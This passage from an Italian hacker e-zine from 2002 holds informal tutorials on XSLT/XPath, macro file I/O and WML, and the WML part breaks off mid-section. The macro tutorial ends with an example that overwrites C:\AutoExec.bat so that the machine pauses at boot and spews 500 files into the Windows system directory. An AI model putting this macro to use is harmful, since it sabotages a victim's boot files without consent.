| << Possiamo intendere XSLT >> |
| - come formattatore |
| - come trasformatore |
| andiamo ad analizzare entrambi i casi ... Xslt , è |
| |
| . formattatore > Per quel che riguarda l’abilità di generare una |
| presentazione dei dati XML, XSLT dispone attualmente di due |
| metodi: |
| - E’ possibile trasformare il documento XML in un documento XHTML, per |
| poi farlo visualizzare in qualsiasi browser. |
| - E’ possibile usare gli XSL Formatting Objects, che definiscono il |
| formato di visualizzazione senza presupporre la trasformazione in |
| HTML o in altri linguaggi di presentazione. |
| |
| . trasformatore > Questa funzionalità, del tutto nuova, è la più |
| interessante. Con XSLT è possibile modificare “al volo” la |
| struttura che accoglie i dati, e in parte anche i dati stessi. |
| Questo permette, ad esempio: |
| |
| - di offrire viste differenti sugli stessi dati a utenti differenti. |
| - di esportare i dati in un formato noto, come HTML o PDF. |
| - di adattare i dati a diversi dispositivi di visualizzazione (vedasi |
| HTML e WML). |
| |
| Bene... dopo aver detto questo, analizziamo un pò le XPath!! cosa dire |
| in proposito,è un linguaggio che permette di indirizzare parti di un |
| documento XML. XPath dispone anche di primitive per eseguire semplici |
| operazioni su stringhe, numeri e valori booleani.Inoltre, le |
| espressioni XPath possono avere come valore numeri, stringhe, booleani |
| e insiemi di nodi.ok? Dal punto di vista di XPath, il documento XML è |
| un albero... ogni elemento, commento, attributo, PI o stringa di testo |
| (non-markup) è un nodo dell’albero capito il concetto? andiamo |
| avanti... Le relazioni tra i nodi sono semplici: |
| |
| - Un elemento nidificato è un nodo figlio dell’elemento che lo |
| contiene. |
| - Un attributo è figlio del suo elemento. |
| - Commenti e PI e testo sono figli dell’elemento che li contiene (o |
| del documento*). |
| |
| Allora ragazzi ci tengo a precisare che per scrivere queste poche |
| righe ci ho messo 2 giorni, dato il fatto che sul manule che tengo io, |
| questi concetti sono espressi in 16 pagine hihihihhihihi vabbè a voi |
| va un pò meglio! comunque vorrei esprimere un mio parere, qua più |
| andiamo avanti più diventa difficile! ma non ci demoralizziamo, |
| dopotutto chi si arrende è perduto :) CONTINUIAMO!! Volete sapere come |
| si intitola il prossimo paragrafetto? ora subito ve lo dico .... |
| XPath: Gli Assi vi interessa? spero di si perchè adesso sto per |
| cominciare a spiegare rimanendo in tema dell'albero, i rami e i figli, |
| diciamo che muovendosi sull’albero del documento, XPath permette di |
| scegliere non solo tra i figli del nodo corrente, ma anche tra una |
| serie di altri insiemi di nodi che sono in relazione con esso. ok? |
| Questi insiemi di nodi si dicono assi. Ogni passo di una espressione |
| XPath può avvenire su un asse arbitrario a partire dal nodo corrente |
| (o contesto).L’asse degli elementi figli diretti è l’asse predefinito, |
| ed esistono scorciatoie per raggiungere l’asse degli attributi: |
| |
| - ancestor >> Contiene il padre del nodo, il padre del padre, ecc… |
| |
| - ancestor-or-self >> Come ancestor, ma contiene anche il nodo |
| corrente. |
| |
| - attribute >> Contiene gli attributi del nodo corrente. |
| |
| - child >> Contiene gli elementi direttamente nodificati nel nodo |
| corrente. |
| |
| - descendant >> Contiene tutti gli elementi nidificati nel nodo |
| corrente (con livello di nidificazione arbitrario). |
| |
| - descendant-or-self >> Come descendant, ma contiene anche il nodo |
| corrente. |
| |
| - following >> Contiene tutti i nodi che si trovano dopo quello |
| corrente all’interno del documento, esclusi i |
| discendenti, gli attributi del nodo e i namespaces. |
| |
| - following-sibling >> Contiene tutti i nodi che hanno lo stesso |
| livello di nidificazione nell’elemento padre |
| di quello corrente e sono posti dopo di esso |
| (“fratelli”). |
| |
| - namespace >> Contiene i nodi namespaces dichiarati per l’elemento |
| corrente. |
| |
| - parent >> Contiene il padre dell’elemento corrente. |
| |
| - preceding >> Contiene tutti i nodi che si trovano prima quello |
| corrente all’interno del documento, esclusi i suoi |
| antenati (ancestors), gli attributi del nodo e i |
| namespaces. |
| |
| - preceding-sibling >> Contiene tutti i nodi che hanno lo stesso |
| livello di nidificazione nell’elemento padre |
| di quello corrente e sono posti prima di esso. |
| |
| - self >> Contiene il nodo corrente. |
| |
| Se posso darvi un consiglio memorizzate questo schema che vi ho fatto |
| perchè non se ne trovano molti on-line :) dopodichè continuiamo |
| Allora ragazzi... per individuare un particolare nodo su un asse, si |
| usano il suo tipo e/o il suo nome tramite i cosiddetti node tests. In |
| entrambi i casi, il risultato può anche essere un insieme di nodi, nel |
| caso sull’asse siano disponibili più nodi con lo stesso tipo e/o nome. |
| Nel caso si lavori su un insieme di nodi, tutte le operazioni vengono |
| applicate iterativamente a ciascun nodo, e il risultato è l’insieme |
| dei nodi risultanti dalle applicazioni... allora,i tipi di nodo sono |
| i seguenti: |
| |
| . elemento |
| . attributo |
| . namespace |
| . commento |
| . processing-instruction |
| |
| Inoltre, ogni asse ha un tipo predefinito: |
| |
| - se l’asse contiene elementi, il tipo predefinito è “elemento” |
| - se l’asse non contiene elementi ma contiene attributi, il tipo |
| predefinito è “attributo” |
| - se l’asse non contiene elementi ma contiene namespaces, il tipo |
| predefinito è “attributo” |
| Insomma ragazzi il ragionamento è molto semplice :) ... adesso se voi |
| pemettete, possiamo continuare a studiare hihihiih |
| Per indicare tutti i nodi con un particolare tipo, si usano opportuni |
| test: |
| |
| comment() |
| node() |
| processing-instruction() |
| text() |
| |
| I test restituiscono l’insieme dei nodi con quel particolare tipo |
| presenti sull’asse. Il risultato è un insieme di nodi, ciascuno dei |
| quali può essere ulteriormente attraversato usando XPath... ok? |
| |
| Bene bene, ragazzi non ci crederete ma siamo a buon punto... la |
| prossima cosa che andiamo ad analizzare sono i nomi... cosa significa? |
| vediamo un pò: alcuni nodi possiedono anche un loro nome: i nodi |
| elemento e attributo hanno il nome dell’elemento e dell’attributo |
| stessi... so che può sembrare più chimica che informatica ma una |
| volta capito il concetto è sempre lo stesso!! Per indicare il nodo |
| con un particolare nome, si usa semplicemente il nome stesso come |
| test. Lo speciale test ‘*’ fa match con tutti i nodi accessibili |
| sull’asse, con qualunque nome.I test restituiscono l’insieme dei nodi |
| con quel particolare nome presenti sull’asse!! |
| ok... passiamo adesso agli step :) non vi preoccupate non è niente di |
| mostruoso... Una espressione XPath consiste in una serie di step |
| (“passi”) costituiti da node tests, ognuno su un proprio asse, |
| separati da uno slash ‘/’, in maniera simile agli URI. |
| |
| collezione/node()/cd/artista |
| Ogni passo agisce sull’insieme di nodi (contesto) ottenuto dal passo |
| precedente. Il primo passo ha un contesto fornito dall’ “ambiente”, |
| o la radice del documento se il path inizia esso stesso con uno |
| slash. |
| |
| /collezione/cd/artista |
| Negli esempi proposti prima l’asse di movimento era sempre quello di |
| default (child). Per muoversi su un altro asse, basta prefissare il |
| nome del nodo con il nome dell’asse: |
| |
| collezione/descendant::cd/attribute::ID |
| Esistono delle scorciatoie per i tre assi più usati: |
| |
| descendants:: si abbrevia con uno slash ‘/’ (/descendants:: si |
| scrive // ) |
| |
| attribute:: si abbrevia con una chiocciola ‘@’ |
| |
| self:: si abbrevia con un punto ‘.’ |
| |
| collezione//cd/@ID |
| |
| hhahahaha qui la situazione è diventata critica per molti di voi, ne |
| sono sicuro, soprattutto se siete alle prime armi!! ma non ve ne fate |
| un problema, rileggetelo un paio di volte e la difficoltà svanisce :) |
| consigli d'autore... dovrei farmi pagare hhihihihihi ... quando avete |
| capito quanto riportato qui in alto possiamo continuare nei nostri |
| studi :) |
| XPath: I Filtri |
| - I Filtri agiscono sugli insiemi di nodi, selezionandone una parte |
| secondo particolari criteri. |
| - Il risultato di un filtro è l’insieme dei nodi filtrati. |
| - In ciascuno step si possono inserire un numero arbitrario di filtri, |
| che vengono richiamati nell’ordine in cui si presentano. |
| - I filtri vanno posti nello step sempre dopo il suo node test. |
| - All’interno del filtro si possono usare espressioni che abbiano |
| valore booleano (vero / falso). |
| - L’espressione del filtro viene valutata usando ciascun nodo del set |
| come contesto,e se vale true il nodo viene aggiunto all’insieme dei |
| risultati. |
| - Esistono due eccezioni: |
| . Se l’espressione restituisce un numero, viene selezionato il nodo |
| in quella posizione nell’insieme (gli insiemi di nodi sono |
| ordinati). |
| . Se l’espressione restituisce un insieme di nodi, allora vale true |
| se l’insieme non è vuoto. |
| |
| All’interno dei filtri si possono usare come operandi: |
| |
| -Espressioni XPath (compresi altri filtri nidificati!), che vengono |
| valutate usando come contesto ciascun nodo dell’insieme di input. |
| -Il “valore” di una espressione XPath, se usata con operatori di |
| confronto, è il testo in essa contenuto (valore dell’attributo o |
| testo all’interno dell’elemento). Se l’espressione è un insieme, |
| XPath restituisce true se c’è almeno un suo elemento che soddisfi il |
| test. |
| -Costanti numeriche o stringhe tra virgolette. |
| |
| Ma soprattutto ragazzi, si possono usare vari operatori e qui viene |
| il bello :) |
| |
| Confronto |
| |
| ‘=’ (uguale), ‘!=’ (diverso), ‘>’ (maggiore), ‘>=’ (maggiore o |
| uguale), |
| ‘<’ (minore), ‘<=’ (minore o uguale). |
| |
| Logici |
| |
| and, or, not(…) |
| |
| Insiemistici |
| |
| ‘|’ (unione). |
| |
| Raggruppamento |
| |
| ‘(…)’ |
| |
| Matematici |
| |
| ‘+’, ‘-’, ‘*’, ‘/’, mod |
| |
| Ci siamo capiti?!? Spero bene... perchè sinceramente più andiamo |
| avanti in questo studio, io più mi esaurisco!! spero voi non siate |
| come me!! l'unica cosa che mi spinge a continuare a scrivere notte e |
| giorno, è il fatto che un giorno o l'altro voi leggerete questo |
| tutorial!! hihihihi ok non perdiamoci in inutili parole e analizziamo |
| ancora questo "linguaggio" ... ora proporrei di vederne le struttura |
| ok? ke ne dite? duqnue un documento XSLT, come ogni documento XML, |
| inizia con una dichiarazione XML. |
| <?xml version="1.0" encoding="UTF-8"?> |
| ok ci siamo, se il documento deve emettere HTML o un altro linguaggio, |
| bisogna dichiarare entrambi i namespaces. Di solito il linguaggio |
| target viene usato come default namespace, quindi tutti gli elementi |
| XSLT vanno prefissati con il loro namespace (xsl:) e fin qui direi |
| che è tutto chiaro giusto? ma passiamo a vedere un pò i Template... |
| un template è una subroutine di trasformazione. L’XPath fornito |
| dall’attributo match viene usato per filtrare il contesto: tutti i |
| nodi filtrati vengono elaborati nel template. |
| <template match="song">...</template> |
| semplice vero? Ogni stylesheet (root) deve avere un template con |
| match=“/”, la sua procedura main, che viene chiamata all’avvio con |
| tutto il documento come insieme di nodi. <template match="/"> |
| ok si può fare... continuiamo pure ... naturalmente, un template può |
| venir chiamato da un altro in due modi: per nome o per selezione |
| |
| in questo modo richiama il template con l’attributo name dato. In |
| questo caso l’attributo match del template è ignorato. |
| <call-template name="..."/> |
| |
| in quest'altro, richiama il template che fa match con i nodi |
| selezionati da e nel contesto corrente (opzionale) e con attributo |
| mode uguale a quello dato (opzionale). |
| <apply-templates select="e" mode="m"/> |
| |
| ok... tutto comprensibile fin ora!! direi che si può proseguire :) |
| passiamo adesso agli Output di Valori: Per trascrivere nel documento |
| di output i valori dei nodi XML si usa la funzione |
| <value-of select="e"/> |
| "e" è un XPath. Il valore del suo risultato, come definito nella |
| specifica XPath, viene trascritto nel documento. |
| |
| Per quanto riguarda invece gli Output di Markup tutto quello che |
| dobbiamo dire è che: tutto ciò che non è un elemento XSLT nel foglio |
| di stile viene copiato in output quando il parser lo incontra. In |
| questo modo è possibile inserire markup HTML o di un altro linguaggio |
| direttamente nello stylesheet e che se il valore di un attributo o |
| il nome di un elemento devono essere generati dinamicamente (in base |
| al contenuto del documento), si possono usare gli elementi |
| <attribute name="nome">…valore…</attribute> |
| <element name="{espressione}">…valore…</element> |
| |
| Ragazzi, sono lieto di affermare che abbiamo quasi finito :) ci |
| rimangono da analizzare soltanto l'Iterazione e l'Applicazione |
| condizionale quindi scorciamoci le maniche e diamoci da fare ci siamo |
| quasi. Per iterare sugli elementi di un insieme di nodi è disponibile |
| la funzione: |
| <for-each select="xpath">...</for-each> |
| |
| Il frammento di stylesheet all’interno dell’elemento viene applicato |
| a tutti i nodi selezionati dall’XPath specificato.E’ possibile |
| ordinare l’insieme dei nodi prima di applicarvi il frammento di |
| stylesheet inserendo, immediatamente dopo il tag di apertura (anche |
| nelle chiamate ai template), elementi del tipo: |
| <sort select= "xpath-ordinamento" order="ascending"/> |
| |
| Per quanto riguarda le applicazioni condizionali, diciamo che esistono |
| due costrutti XSLT che consentono di eseguire frammenti di stylesheet |
| solo se particolari condizioni sono vere. |
| <if test="xpath-filter">...</if> |
| |
| All’interno dell’attributo test valgono le regole dei filtri di XPath. |
| Se il filtro ha valore vero, il frammento di stylesheet contenuto |
| nell’elemento if viene eseguito. In caso contrario, tutto il |
| contenuto dell’elemento viene ignorato. |
| |
| <choose> |
| <when test="xpath-filter">…</when> |
| ... |
| <otherwise>…</otherwise> |
| </choose> |
| |
| Ragazzi... direi che pure questo tutorial è finito :( comunque se |
| posso dare la mia opinione, a me è piaciuto fare un viaggetto in XSLT, |
| almeno è una cosa diversa dai soliti linguaggi di programmazione, |
| giusto? Che dirvi io per scriverlo ci ho messo poco tempo, spero che |
| voi lo digeriate abbastanza velocemente! VAbbè ragazzi... adesso vi |
| saluto :) ciao a tutti vi aspetto al prossimo tutorial |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #08 - 01/11/2002 |
| PLUS #2 [Mastro] 0x0C/0x1A |
+--------------------------------------------------------------------------+
| Spero che lo scorso "fuoripista" sia stato interessante. |
| Proseguiamo. |
| |
| --- MANIPOLIAMO --- |
| |
| Prima di tutto mi scuso con i newbies se qualche passaggio non era |
| chiaro, cercherò di semplificare il tutto.. |
| |
| Modificare file da macro? |
| Possibile. Basta utilizzare il comando Open. |
| |
| Open "Nome e percorso del file" For "Modalità" As "#Numero del file" |
| |
| Nome e percorso del file => Credo proprio che la spiegazione non serva |
| Modalità => Potete aprire i file in 5 modi: Append (apre e scrive alla |
| fine del file), Binary (scrive in un file già aperto), Input(idem come |
| Binary), Output (apre e sovrascrive il file) e Random (idem come Input, |
| ma lo apre in modo casuale). |
| #Numero del file => Bisogna assegnare un numero al file che desiderate |
| aprire. Decidetelo voi da 1 a 511. |
| Nel caso che vogliate essere sicuri di non sbagliare, per trovare un |
| numero disponibile, basta utilizzare FreeFile: |
| |
| ---------- |
| Numero = FreeFile |
| Open "Qualcosa" For Append As #Numero |
| ---------- |
| |
| Attenzione: con Input/Binary/Random si può aprire un file già aperto |
| senza generare errore, invece Append/Output necessitano della chiusura |
| del file prima di poterlo riaprire. |
| Non era molto chiaro. Esempio: |
| |
| ---------- |
| Open "Pippo" For Input As #1 |
| Open "Pippo" For Random As #2 'Non dà errore |
| |
| Open "Pippo" For Output As #1 'Dà errore ("File già aperto"), |
| bisogna prima chiudere il file |
| Open "Pippo" For Append As #1 |
| ---------- |
| |
| Vi sono anche dei comandi aggiuntivi opzionali che ho omesso: |
| |
| Open "Nome e percorso del file" For "Modalità" [Access "Tipo di |
| accesso"
] [Bloccaggio] As "#Numero del file" [Len = "Lunghezza"] |
| |
| Tipo di accesso => Dichiara le operazioni consentite nel file aperto. |
| Read (leggi), Write(scrivi) e Read Write(leggi e scrivi). |
| Bloccaggio => Dichiara le operazioni consentite da altri processi |
| mentre il file è aperto dalla macro. Shared (condiviso), Lock Read |
| (blocca la lettura), Lock Write (blocca la scrittura) e Lock Read Write |
| (blocca lettura e scrittura). |
| Lunghezza => Lunghezza del file da aprire. |
| |
| Comunque tutte queste opzioni sono facoltative quindi non ci sono |
| problemi anche se le omettete. |
| Ma passiamo alla scrittura vera e propria con Print. |
| Semplicissimo, si assegna la scrittura di un determinato valore ad un |
| file in base al numero che gli abbiamo affibbiato precedentemente. |
| |
| Print #Numero del file, "Quello che volete scriverci" |
| |
| Quindi riassumendo: |
| |
| ---------- |
| Open "Prova.txt" For Output As #1 'Lo apriamo in modalità |
| sovrascrittura. #Numero 1 (assegnato a caso) |
| Print #1, "Ha funzionato?" 'Ci scriviamo |
| Print #1, "Credo proprio di si." |
| Close #1 'Chiudiamo il file in base al |
| numero |
| ---------- |
| |
| Dimenticavo di dire che se il file non esiste viene creato in |
| automatico nel percorso e con il nome che gli avete assegnato. |
| Se non chiudete il file le modifiche non verranno salvate. |
| Print supporta altri 2 comandi: Tab(numero) e Spc(numero). Molto |
| semplicemente il primo equivale alla pressione del tasto TAB per |
| un "numero" di volte, il secondo alla pressione della barra spaziatrice |
| per "numero" volte. |
| Cercate di non dimenticare la virgola dopo Print, altrimenti dà errore. |
| Mettiamo ora il caso che io non voglia modificare un file, ma leggerlo. |
| |
| ---------- |
| Open "Prova.txt" For Input As #1 'Apro il file |
| Line Input #1, Valore 'Leggo i valori sulla |
| prima linea e li assegno ad una variabile di nome "Valore" |
| MsgBox Valore 'Li visualizzo in una |
| MessageBox |
| Close #1 'Chiudo il file |
| ---------- |
| |
| Line Input funziona solo in modalità Input. |
| Ha lo stesso procedimento di Print, gli si assegna il numero del file |
| da leggere ed una variabile che conterrà i dati. |
| Volendo esiste anche il comando Input #Numero, ma più o meno ha lo |
| stesso effetto di Line Input. |
| Se provate il comando noterete che la stringa letta è solo la prima del |
| file, per leggerlo totalmente? |
| |
| ---------- |
| Open "Prova.txt" For Input As #1 'Apro il file |
| Do While Not EOF(1) 'Lo leggo fino a che non |
| arriva alla fine |
| Input #1, Valore 'Memorizzo i dati nella |
| variabile "Valore" |
| MsgBox Valore 'Li visualizzo. |
| Loop 'Ripeti il ciclo |
| Close #1 'Chiudo il file |
| ---------- |
| |
| EOF(Numerofile) => Restituisce un valore che indica se è stata |
| raggiunta la fine del file. |
| Forse non avete chiara la funzione Do..Loop: esegue un'operazione fino |
| a che una condizione non è verificata. |
| |
| ---------- |
| i = 1 'Assegno a "i" valore 1 |
| Do Until i = 5 'Ripete il ciclo fino a |
| che i non arriva a 5 |
| MsgBox "Siamo a " & i 'Evento da eseguire nel |
|

  
ciclo |
| i = i + 1 'Incremento i |
| Loop 'Ripeto il ciclo |
| MsgBox "Siamo a " & i & ". Fine!" 'Quando i = 5 il ciclo si arresta. |
| ---------- |
| |
| Da notare che alla fine del ciclo "i" non cambia il proprio valore in 1 |
| o si annulla, ma mantiene l'ultimo fissato (5). |
| Se omettete "Until condizione" il ciclo verrà ripetuto all'infinito. |
| Tornando alla lettura del file, ora siamo in grado di leggerlo riga per |
| riga. |
| Prima di terminare occorre un piccolo approfondimento su Print# e |
| Write#: la differenza principale è che il secondo viene utilizzato per |
| scrivere in un file i caratteri letti con l'istruzione Input#. |
| La spiegazione è finita, spero di essere stato chiaro anche per i meno |
| esperti. |
| Un'ultima cosa: ecco un esempio delle cose che potete fare grazie a |
| questi comandi. |
| |
| ---------- |
| Open "C:\AutoExec.bat" For Output As #1 |
| 'Apro AutoExec in sovrascrittura |
| Print #1, "@echo off" |
| 'Ci scrivo |
| Print #1, "pause" |
| Print #1, "cd c:\windows\system" |
| For i = 1 To 500 |
| 'Questo non viene scritto nel file |
| Print #1, "echo Brothers Everywhere, Raise Your Hands Into The Air, |
| We're Warriors, Warriors Of The World>" & i & ".txt" 'Questo sì. Fino a |
| che "i" non arriva a 500. |
| Next i |
| 'Poi |
| Close #1 |
| 'Chiudo il file |
| ---------- |
| |
| Piccole spiegazioni: |
| "@echo off" => non visualizza i comandi nella schermata |
| "pause" => mette in pausa il sistema. |
| "cd c:\windows\system" => ci fa "entrare" nella directory system. |
| "echo qualcosa>altro" => per chi non lo sapesse crea un file |
| chiamato "altro" scrivendoci all'interno "qualcosa". Se fosse |
| stato "@echo pippo >> topolino.txt" avrei scritto "pippo" nel |
| file "topolino.txt" SENZA sovrascriverlo. |
| In questo caso avremo 1.txt, 2.txt, 3.txt, ecc.. fino a 500.txt. |
| |
| |
| Mastro(macro2000@virgilio.it) |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #08 - 01/11/2002 |
| iMPARiAM0 iL LiNGUAGGi0 WML [cyberdude] 0x0D/0x1A |
+--------------------------------------------------------------------------+
| IMPARIAMO IL LINGUAGGIO WML |
| |
| BY CYBERDUDE |
| |
| >>> PRESENTAZIONE TUTORIAL SUL LINGUAGGIO WML BY CYBERDUDE |
| |
| Benissimo ragazzi… so come sia palloso mettersi a leggere infinite |
| pagine per imparare un linguaggio di programmazione, scripting o |
| qualsiasi altro sia, ed e’ per questo che provero’ a spiegarvi un |
| intero linguaggio in pochissime pagine, 13 mi sembra, rendendovi la |
| vita piu’ facile e spero me ne siate grati!! |
| Adesso non perdiamoci in inutili parole e iniziamo subito il nostro |
| studio del linguaggio WML |
| |
| ----------------------------------------------------------------------- |
| |
| .:: INDICE ::. |
| |
| COS'E' IL WML? CARATTERISTICHE FONDAMENTALI |
| LA SINTASSI DEL WML |
| FORMATTAZIONE |
| PRIMO DECK WML |
| IL TAG "DO" |
| LINK e COLLEGAMENTI |
| TEMPLATE e TIMER |
| LE IMMAGINI IN WML |
| LE VARIABILI |
| DECK: UN ESEMPIO COMPLETO |
| FORM INPUT DELL'UTENTE. Parte 1 |
| FORM INPUT DELL'UTENTE. Parte 2 |
| BEH DIREI CHE 12 PARAGRAFETTI POSSONO BASTARE HIHIHIHHIHIHI :) |
| ----------------------------------------------------------------------- |
| |
| 1 >>> COS'E' IL WML? CARATTERISTICHE FONDAMENTALI |
| |
| Allora ragazzi… Il Wireless Markup Language é il linguaggio con cui |
| vengono progettate le pagine WAP. Sia il linguaggio WML che il |
| linguaggio HTML derivano dal XML (Extensible Markup Language) e ne |
| ereditano le principali caratteristiche. Ok? Il WML è stato progettato |
| su telefoni cellulari che hanno le seguenti caratteristiche: |
| |
| display di dimensioni limitate e con bassa risoluzione; |
| limitate capacità di input (un telefonino ha tipicamente una tastiera |
| numerica e qualche tasto funzione); |
| limitate capacità di elaborazione perché dotati di microprocessori a |
| basso consumo e poca memoria; |
| la rete cui sono collegati offre una banda ristretta e con tempi di |
| attesa lunghi. |
| Diciamo quindi quasi una kiavica ihihihhihihihi :) |
| |
| Un utente naviga attraverso un insieme di pagine, dette card , i deck |
| (sarebbero i comandi) WML possono essere memorizzati in un file |
| statico o in un server di origine o possono essere generati |
| dinamicamente dal server o da un generatore di contenuto. Il micro- |
| browser , pero’, deve decidere come presentare gli elementi presenti |
| all’interno di una card in base alle caratteristiche del dispositivo |
| stesso (se si ha a disposizione un display ampio si può scegliere di |
| visualizzare tutte le informazioni della card, altrimenti le si |
| frammenta in più unità). I tag che identificano le istruzioni del |
| linguaggio WML sono anch'essi racchiusi dai simboli '<' e '>' proprio |
| come in HTML. Il WML include inoltre le seguenti caratteristiche: |
| |
| Supporto per testi ed immagini: ampia libertà di scelta per quanto |
| riguarda la rappresentazione dei dati all’utente finale. Il WML |
| fornisce diversi modi per formattare il testo (ad esempio grassetto, |
| corsivo, maiuscole,...) e permette di inserire delle immagini. |
| Supporto per l’input utente: WML supporta un option selection per |
| presentarsi con una lista di opzioni selezionabili dall’utente. |
| Navigazione e Stack History: la navigazione include hyperlink stile |
| HTML. |
| Supporto internazionale: l’insieme dei caratteri presenti nei |
| documenti WML è UNICODE. |
| Indipendenza dalla MMI (Man-Machine Interface). |
| Ottimizzazioni per connessioni a banda ristretta: Sono supportati una |
| serie di meccanismi che velocizzano il tempo di risposta e |
| diminuiscono la quantità dei dati scambiati. |
| Gestione dello stato e del contesto: ogni controllo di input WML può |
| introdurre delle variabili. Lo stato delle variabili può essere |
| utilizzato per modificare il contenuto o parametrizzare una card senza |
| dover comunicare con il server. |
| La pagina WML é detta deck é composto da più carte. La card |
| rappresenta la singola unità di navigazione che viene visualizzata dal |
| browser sul display del telefonino WAP, più card possono essere |
| raggruppate in un deck, il deck é la minima unità che viene scaricata |
| dal WAP Server al telefonino. Ogni qualvolta si richiede una "pagina" |
| WML ad un WAP Server, questo invierà al browser tutto il deck, |
| composto di una o più card, e poi ne visualizzerà la prima. |
| |
| Alcuni telefonini non accettano un deck più grande di 1.4 Kbytes. Il |
| WAP gateway comprime il vostro WML in un formato binario più compatto, |
| ma non può fare miracoli. |
| |
| Un primo e molto semplice esempio di pagina WML: |
| |
| <?xml version="1.0"?> |
| <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" |
| "http://www.wapforum.org/DTD/wml_1.1.xml"> |
| <wml> |
| <card id="ciao" title="ciao"> |
| <p> |
| Ciao<br/> |
| Questa e' una card in WML. |
| </p> |
| </card> |
| </wml> |
| |
| |
| |
| 2 >>> LA SINTASSI DEL WML |
| |
| TAG |
| I tag sono i descrittori del linguaggio WML. Il tag descrive un |
| elemento della pagina WML; é definito da un nome unico e da alcuni |
| attributi specifici. Ciascun tag é racchiuso dai simboli '<' e '>'. |
| HTML permette di inserire una interruzione di linea con il tag <br> |
| mentre il linguaggio WML richiede necessariamente una delle due forme |
| equivalenti: <br></br> o <br/>. |
| |
| ELEMENTO |
| |
| specifica le informazioni sia strutturali che di markup di un deck |
| WML. Possono essere formati da uno start tag, un contenuto specifico, |
| opzionalmente altri elementi quindi un end tag; con la seguente |
| struttura: |
| |
| <tag>contenuto</tag> |
| |
| oppure |
| |
| <tag/> |
| |
| ATTRIBUTO |
| |
| inclusi all'interno dello start tag, di questi alcuni sono obbligatori |
| e vanno sempre indicati, altri invece possono essere opzionali e |
| omessi se non necessari. Il valore dell'attributo deve sempre essere |
| racchiuso tra apici, singoli (') oppure doppi ("), mentre due |
| attributi vanno separati ricorrendo ad uno spazio. |
| |
| <tag attr="valore"/> |
| |
| CARATTERI "SPECIALI" |
| |
| ad esempio i due caratteri < e > che nel testo possono essere |
| utilizzati solo ed esclusivamente per circoscrivere un tag. Esistono |
| però tre modi alternativi che permettono di specificare qualunque |
| carattere del set tramite un formato unico ed indipendente: |
| |
| |
| |
| CARATTERE MNEMONICO |
| |
| “ " |
| |
| & & |
| |
| ‘ ' |
| |
| < < |
| |
| > > |
| |
| |
| |
| |
| |
| INTESTAZIONE DOCUMENTO |
| Tutte le pagine WML devono includere la definizione di tipo XML come |
| prima riga: |
| |
| <?xml version="1.0"?> |
| <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD wml |
| 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml"> |
| |
| La prima riga indica la versione XML che si intende utilizzare, mentre |
| le altre indicano dove si trova il descrittore del linguaggio che ne |
| contiene la sintassi. Alcuni terminali richiedono questa dichiarazione |
| all'inizio del WML, altri no. Meglio comunque specificarlo sempre. |
| |
| COMMENTI |
| Si possono inserire nel testo sorgente della pagina WML alcuni |
| commenti esplicativi proprio come nel HTML. I commenti verranno |
| ignorati dal microbrowser che non li visualizzerà, possono occupare |
| una riga intera oppure solo una parte di essa. |
| |
| <!-- commento --> |
| |
| Non é possibile "nidificare" più commenti, uno dentro l'altro. |
| |
| |
| |
| 3 >>> FORMATTAZIONE |
| |
| SPAZI |
| I caratteri Newline (hex. 10), Carriage Return (hex. 1D), Space (hex. |
| 20) e Tab (hex. 9) sono tutti considerati indifferente come spazi. |
| |
| TAG "p" |
| |
| delimita un paragrafo |
| |
| <p [align="left|center|right"]>...</p> |
| |
| left: allinea il testo a sinistra |
| center: allinea il testo al centro |
| right: allinea il testo a destra |
| |
| ELEMENTI DI FORMATTAZIONE |
| é possibile specificare un tipo particolare di formattazione |
| racchiudendo il testo tra due tag specifici. |
| |
| <em>....</em> testo enfatizzato (italico) |
| <strong>....</strong> testo fortemente enfatizzato (grassetto) |
| <i>....</i> testo italico |
| <b>....</b> testo in grassetto |
| <u>....</u> testo sottolineato |
| <big>....</big> testo ingrandito |
| <small>....</small> testo ridotto |
| |
| <p> |
| Questo testo e' in <i>italico</i> |
| menre questo e' in <b>grassetto</b>. |
| </p> |
| TAG "br" |
| |
| sancisce nel testo l'inizio di una nuova riga. |
| |
| <br/> |
| |
| <p> |
| riga1<br/> |
| riga2 |
| </p> |
| 4 >>> PRIMO DECK WML |
| |
| Definiamo il deck che conterrà le varie card della nostra pagina WML, |
| ed infine definiamo due card. Ecco lo scheletro iniziale della pagina |
| WML: |
| |
| <?xml version="1.0"?> |
| <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD wml 1.1//EN" |
| "http://www.wapforum.org/DTD/wml_1.1.xml"> |
| <wml> |
| |
| <card id="home" title="CYBERWORLD.it"> |
| |
| </card> |
| |
| <card id="info" title="CYBERWORLD.it"> |
| |
| </card> |
| |
| </wml> |
| Completiamo il testo contenuto nelle card, assegnando ad ognuna di |
| esse un nome ed un titolo mediante due attributi. Aprendo il deck |
| verrà visualizzata la card Home, premendo la soft key indicata, sarà |
| possibile navigare alla card successiva, info, e da questa tornare |
| alla precedente. |
| Di seguito il deck completo: |
| |
| |
| |
| <?xml version="1.0"?> |
| <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD wml 1.1//EN" |
| "http://www.wapforum.org/DTD/wml_1.1.xml"> |
| <wml> |
| |
| <card id="home" title="CYBERWORLD.it"> |
| <p> |
| CYBERWorld.it<br/> |
| ...viaggio nel wml...<br/> |
| <anchor title="Info">Info |
| <go href="#info"/> |
| </anchor> |
| </p> |
| </card> |
| |
| <card id="info" title="CYBERWORLD.it"> |
| <p> |
| Benvenuto nel sito WAP di CYBERDUDE.it<br/> |
| <anchor title="Home">Home<br/> |
| <go href="#home"/> |
| </anchor> |
| </p> |
| </card> |
| |
| </wml> |
| |
| |
| E questa e’ un po’ la spiegazione di quello che ne viene fuori |
| |
| card 1 (home). Premendo il link Info si passerà alla seconda card. |
| |
| card 2 (info). Premendo il link Home si ritornerà alla prima card |
| |
| N.B. |
| |
| In un deck WML si possono avere più card e quindi più titoli. |
| |
| |
| |
| CARD |
| Come definire una card in un deck WML? La sintassi generale del |
| tag "card" é la seguente: |
| |
| <card id="Nome_card" [title="titolo_da_visualizzare"] |
| [onenterforward="url"] [onenterbackward="url"] [ontimer="url"] |
| >...</card> |
| |
| - ID >> Definisce il nome della card, indispensabile per |
